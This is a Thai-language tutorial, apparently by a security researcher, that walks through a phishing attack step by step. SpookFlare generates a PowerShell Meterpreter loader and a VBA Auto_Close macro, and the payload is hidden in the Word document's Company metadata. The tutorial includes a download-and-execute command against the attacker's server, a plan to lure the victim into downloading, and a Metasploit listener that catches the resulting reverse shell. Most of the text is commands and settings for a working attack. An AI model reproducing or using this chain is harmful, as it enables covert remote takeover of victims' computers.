ขั้นตอนการสร้าง Reverse shell โดยใช้เอกสาร Microsoft word เป็นพาหะ ในการสร้าง connection ย้อนกลับเพื่อเชื่อมต่อไปยังเครื่องผู้โจมตี โดยภาพรวม จะเริ่มต้นจากผู้โจมตีสร้าง คำสั่งประสงค์ร้ายขึ้นมาแนบไปกับเอกสาร Word จากนั้นพยายามส่งไฟล์ดังกล่าวไปยังเป้าหมาย ภายหลังเหยื่อเปิดและปิดเอกสารเรียบร้อย มันจะส่งสัญญาณขอการเชื่อมต่อไปยัง เครื่องผู้โจมตี ซึ่งทำให้สามารถควบคุมเครื่องของเหยื่อได้นั้นเอง
บทความโดย
Mr.JohnNattakit
Cyber Security Researcher
ขั้นตอน (Steps)
Topology
IP Address
Attacker: 172.20.10.5
Victim: 172.20.10.3
เตรียมอุปกรณ์
- ดาวโหลดและติดตั้ง SpookFlare
git clone https://github.com/hlldz/SpookFlare.git cd SpookFlare pip install -r requirements.txt
- เรียกใช้งาน SpookFalre ใช้คำสั่ง List แสดงรายขื่อ Payload
#python spookflare.py list
- จากรายการแสดงข้างต้นให้เลือกใช้งาน meterpreter/powershell หมายเลย 2 จากนั้นสามารถแสดงรายละเอียดโดยใช้คำสั่ง Info
use 2 INFO
- ตั้งค่าต่าง ๆ โดยใช้คำสั่งดังนี้
set PROTO HTTP set LHOST 172.20.10.5 (IP เครื่อง Attacker) set LPORT 8080 (Set Listener port) set ARCH x64 (Set ARCH) set SSIZE ( ให้เข้าไปตรวจสอบใน /usr/share/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader.rb ว่ามีการใช้งาน require ‘securerandom’ หรือเปล่า ถ้ามีใน code ใช้กี่ bytes ก็ตั้งให้ตรงกันกับค่านี้ เช่นถ้าเป็น random_bytes(61337) ก็ให้ใส่เป็น61337 แต่ถ้าไม่มีก็ไม่ต้องใส่ครับ)
- จากใช้คำสั่ง generate จะได้ powershell loader code ออกมาดังผลด้านล่างจะอยู่ใน folder /SpookFlare/output/output/SQHvkgJnVixS.ps1
- เข้าไปโฟลเดอร์ดังกล่าวเพื่อ copy ไฟล์ที่ถูกสร้างออกมา
cd /SpookFlare/output/output/ cp SQHvkgJnVixS.ps1 john.txt (ทำการ copy ไฟล์เป็นชื่ออะไรก็ได้ .txt)
- ทำการสร้าง fileserver เพื่อหลอกล่อให้ Victim มา Download
- กลับมาที่ Spookflare เตรียมทำการ generate VBA MACRO ที่จะเอาไปใส่ใน Word
back use 4
- ก่อนที่จะทำการสร้าง Macro ให้เตรียม cmd.txt ก่อน เพื่อเป็นคำสั่งให้ไปโหลดไฟล์ reverseshell ของเราที่เราเปิดให้เหยื่อสามารถ download บน web server โดย สร้างไฟล์ดังนี้ cmd.txt มีเนื้อหาตามด้านล่าง
powershell –w 1 –c “iwr(‘http://172.20.10.5/john.txt’)|iex”
- จากนั้นตั้งค่าที่จำเป็นต้องใช้
info set CMD /root/cmd.txt (ตั้งค่าตาม path ของไฟล์ cmd.txt ที่เพิ่งสร้างเอง) set FTYPE word(เลือกชนิดของ office file) META Company (เลือก Metadata ที่จะใช้ยัด payload)
- ตั้งค่าเสร็จแล้วให้ generate
- ทำการ cat ไฟล์ที่ถูก generate ออกมาเพื่อจะนำ payload ไปใส่ใน Metadata และค่า Macro ไปใส่ ในword
cat /root/tools/SpookFlare/output/vXTnzaDpHKzZ.vba
ขั้นตอนการเตรียมแนบ Payload และ Macro ลง Word
- สร้าง New Documentพร้อมทั้งใส่เนื้อหาลงไป
- มาที่ View / Macro
- เลือก Document1 (document)
- กรอก Macro name: Auto_Close จากนั้นกด Create
- ทำการแก้ไข macro โดยการ copy macro script ใน .vba ที่ generate เข้ามา เขียนทับ
- จากนั้นกด ctrl+s เพื่อ Save as เลือก type เป็น Word97-2003 Document (*.doc)
- จากนั้นกดปิด Macro และตามด้วยกดปิด Word
- เข้าไปแก้ไข Metadata ดังนี้
- เลือก Tab detail ทำการแก้ไข Metadata ให้ตรงกับที่เคยสร้าง .vba เช่นในที่นี้คือ Company
- ทำการแทนที่ Company ด้วยการนำ payload ที่เรา generate มาใส่แทน ไม่ต้องเอา single quote มาจากนั้นกด OK
เตรียมรับ Connection
- เข้า msfconsole >ทำการใช้เรียกใช้ meterpreter เพื่อรอรับ connection
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_http set LHOST 172.20.10.5 set LPORT 8080 set ExitOnSession false exploit
- Attack!! เมื่อรัน Web file server, Meterpreter พร้อมแล้ว…
- ให้เหยื่อเปิดไฟล์
- จะยังไม่มีอะไรเกิดขึ้นจนกว่าจะปิด Doc …
- หลังจากปิด Doc มีการ Download file ไปจาก Server
- และบน Meterpreter ได้ connection แต่ไม่เห็น meterpreter ให้ ctrl+c และ sessions 1 ก็ได้จะ Shell
อ้างอิง